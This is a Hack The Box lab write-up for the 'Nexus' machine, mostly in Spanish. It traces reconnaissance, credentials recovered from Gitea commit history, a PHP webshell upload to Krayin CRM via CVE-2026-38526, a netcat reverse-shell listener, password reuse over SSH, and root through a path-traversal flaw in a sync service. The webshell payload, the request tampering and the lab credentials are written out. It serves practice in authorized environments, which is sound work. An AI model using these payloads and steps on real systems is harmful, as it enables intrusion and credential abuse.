
Hack The Box Nexus machine write-up covering reconnaissance, Gitea credential discovery, Krayin CRM exploitation via CVE-2026-38526, initial access, and privilege escalation through a vulnerable Gitea template synchronization service.
English 🇺🇸 | Español 🇪🇸
Nexus es una máquina Linux de dificultad fácil de Hack The Box que presenta una cadena de ataque basada en enumeración de hosts virtuales, descubrimiento de credenciales expuestas, explotación de una aplicación web vulnerable, ejecución remota de comandos y escalada de privilegios mediante un servicio ejecutado como root.
Reconocimiento
│
▼
Enumeración de Virtual Hosts
│
├── git.nexus.htb
└── billing.nexus.htb
│
▼
Historial de Gitea
│
▼
Credenciales expuestas
│
▼
Login en Krayin
│
▼
CVE-2026-38526
│
▼
Webshell PHP
│
▼
Reverse Shell
(www-data)
│
▼
.env
│
▼
SSH como jones
│
▼
gitea-template-sync
│
▼
Path Traversal
│
▼
Repositorio Git malicioso
│
▼
SSH como root
rootIP objetivo: 10.129.82.92
nmap -p- -sV -sC -oN nexus_full_scan.txt 10.129.82.92
Resultado:
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http nginx 1.24.0 (Ubuntu)
gobuster vhost \
-u http://nexus.htb \
-w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
--append-domain
Hosts encontrados:
git.nexus.htb → Gitea
billing.nexus.htb → Krayin CRM
Agregar los hosts:
echo "10.129.82.92 nexus.htb git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts
Acceder a:
http://git.nexus.htb
El repositorio:
admin/krayin-docker-setup
contiene información interesante en el historial de commits.
Al revisar versiones anteriores del archivo .env se encuentran credenciales.
| Servicio | Usuario | Contraseña |
|---|---|---|
| Krayin CRM | [email protected] | N27xh!!2ucY04 |
| Gitea | jones | N27xh!!2ucY04 |
El correo [email protected] también fue identificado en la sección de empleos de la página principal.
Acceder al panel:
http://billing.nexus.htb/admin/login
Credenciales:
Email: [email protected]
Password: N27xh!!2ucY04
Navegar a:
/admin/mail/sent
Crear un nuevo correo y adjuntar el payload PHP.
El archivo se encuentra en:
exploits/CVE-2026-38526/shell.php
Payload:
<?php system($_GET["cmd"]); ?>
Interceptar la petición mediante Burp Suite y modificar:
Content-Disposition: form-data; name="attachments[]"; filename="shell.php"
Content-Type: application/x-php
Después de la subida, acceder al webshell:
http://billing.nexus.htb/storage/emails/2/shell.php?cmd=id
Resultado:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
En Kali:
nc -lvnp 4444
Ejecutar el payload de reverse shell mediante el webshell.
El script correspondiente se encuentra en:
exploits/CVE-2026-38526/reverse_shell.py
La sesión obtenida corresponde al usuario:
www-data
Leer la configuración de Krayin:
cat /var/www/krayin/.env
Se encuentran:
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR
Enumerar usuarios:
cat /etc/passwd | grep sh$
Se identifica:
jones
Con las credenciales obtenidas:
Password:
y27xb3ha!!74GbR
f20cbf9aeb6bb228d356a42ff49c1933
Enumerar los servicios relacionados con Gitea:
systemctl list-units | grep -i gitea
Se encuentran:
gitea-template-sync.timer
gitea-template-sync.service
El servicio se ejecuta con privilegios elevados y utiliza:
/etc/gitea/template-sync.py
El script presenta una condición de Path Traversal en la construcción de rutas.
Generar la clave SSH:
ssh-keygen -t ed25519 -f /tmp/nexus_root -N ""
cat /tmp/nexus_root.pub
El exploit se encuentra en:
exploits/gitea_template_sync/exploit_git.py
Crear el repositorio:
cd /tmp
rm -rf exploit
mkdir exploit
cd exploit
git init
python3 exploit_git.py
La rama utilizada debe ser:
main
Generar un token desde:
http://git.nexus.htb
En:
Settings → Applications
Configurar el remote:
git remote set-url origin http://jones:[email protected]/jones/exploit.git
Subir el repositorio:
git push -f origin main
Monitorizar:
tail -f /var/log/template-sync.log
Una sincronización exitosa muestra que el servicio procesó la ruta controlada mediante el repositorio malicioso.
Una vez escrita la clave pública:
ssh -i /tmp/nexus_root [email protected]
Comprobar:
whoami
Resultado:
root
Obtener la flag:
cat /root/root.txt
85be1d2a3084e387da0e7dd118908c63
| Flag | Valor |
|---|---|
| User | f20cbf9aeb6bb228d356a42ff49c1933 |
| Root | 85be1d2a3084e387da0e7dd118908c63 |
htb-labs-nexus/
├── README.md
├── exploits/
│ ├── CVE-2026-38526/
│ │ ├── shell.php
│ │ ├── reverse_shell.py
│ │ └── burp_request.txt
│ └── gitea_template_sync/
│ ├── exploit_git.py
│ ├── create_repo.sh
│ └── key.pub
├── scripts/
│ ├── linpeas.sh
│ ├── LinEnum.sh
│ └── enum_services.sh
├── assets/
│ ├── nmap_scan.txt
│ ├── gobuster_vhost.txt
│ └── credentials.txt
├── screenshots/
│ ├── gitea_repo.png
│ ├── crm_login.png
│ ├── webshell.png
│ └── root_flag.png
└── notes/
├── methodology.md
├── commands.md
└── credentials.md
Este repositorio tiene fines educativos y de práctica en entornos autorizados.
Las técnicas, credenciales, exploits y comandos documentados no deben utilizarse contra sistemas sin autorización explícita.
root puede convertirse en un vector de escalada.⭐ Si este write-up te resultó útil, considera darle una estrella al repositorio.
| Herramienta | Uso |
|---|
| Nmap | Enumeración de puertos y servicios |
| Gobuster | Enumeración de Virtual Hosts |
| Burp Suite | Interceptación y modificación de peticiones |
| Git | Análisis y creación de repositorios |
| Python 3 | Scripts de explotación |
| Netcat | Reverse shell |
| LinEnum | Enumeración Linux |
| LinPEAS | Enumeración para privilege escalation |
| SSH | Acceso remoto |